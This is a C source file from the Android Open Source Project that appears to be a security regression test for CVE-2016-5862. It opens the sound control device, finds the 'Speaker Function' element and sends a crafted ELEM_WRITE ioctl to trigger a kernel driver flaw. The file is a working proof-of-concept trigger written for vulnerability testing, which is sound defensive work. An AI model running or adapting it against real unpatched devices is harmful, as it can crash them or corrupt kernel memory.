1 /*
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 /*
18 * CVE-2016-5862
19 */
20
21 #include "../includes/common.h"
22 #include <fcntl.h>
23 #include <sound/asound.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <string.h>
27 #include <sys/ioctl.h>
28 #include <unistd.h>
29
30 #define SPEAKER "Speaker Function"
31 #define NUM_BLOCKS 16384
32
get_speakerid(int fd)33 unsigned int get_speakerid(int fd) {
34 unsigned int i;
35 int ret = -1;
36 unsigned int id = 0;
37 struct snd_ctl_elem_list lst;
38 memset(&lst, 0, sizeof(lst));
39 lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
40 lst.space = NUM_BLOCKS;
41 ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
42 if (ret < 0) {
43 return 0;
44 }
45 for (i = 0; i < lst.count; i++) {
46 if (!strncmp((const char *)lst.pids[i].name, SPEAKER,
47 (sizeof(SPEAKER) - 1))) {
48 id = lst.pids[i].numid;
49 break;
50 }
51 }
52 free(lst.pids);
53 return id;
54 }
55
main()56 int main(){
57 int fd = -1;
58 struct snd_ctl_elem_value control;
59 fd = open("/dev/snd/controlC0", O_RDWR);
60 if(fd < 0) {
61 return EXIT_FAILURE;
62 }
63 memset(&control, 0, sizeof(control));
64 control.id.numid = get_speakerid(fd);
65 if(control.id.numid == 0) {
66 close(fd);
67 return EXIT_FAILURE;
68 }
69 ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
70 close(fd);
71 return EXIT_SUCCESS;
72 }
73